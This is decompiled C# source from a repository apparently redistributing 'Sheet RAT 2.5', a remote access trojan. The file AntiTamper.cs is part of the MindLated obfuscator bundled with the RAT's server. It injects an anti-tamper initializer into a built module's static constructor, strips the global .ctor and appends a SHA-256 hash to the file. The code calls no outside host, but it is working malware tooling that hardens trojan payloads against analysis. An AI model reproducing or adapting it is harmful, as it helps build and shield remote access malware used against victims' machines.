Files
sheet-rat/Server/MindLated/Protection/Anti/AntiTamper.cs
T
2026-08-27 11:23:25 -06:00

48 lines
1.7 KiB
C#

// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.AntiTamper
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Anti.Runtime;
using MindLated.Services;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
//#nullable disable
namespace MindLated.Protection.Anti {
public static class AntiTamper
{
public static void Sha256(string filePath)
{
byte[] hash = SHA256.Create().ComputeHash(File.ReadAllBytes(filePath));
using (FileStream fileStream = new FileStream(filePath, FileMode.Append))
fileStream.Write(hash, 0, hash.Length);
}
public static void Execute(ModuleDef module)
{
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (EofAntiTamper).Module);
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
int rid = (int) MDToken.ToRID(typeof (EofAntiTamper).MetadataToken);
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initializer"));
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
{
if (!(method.Name != ".ctor"))
{
module.GlobalType.Remove(method);
break;
}
}
}
}
}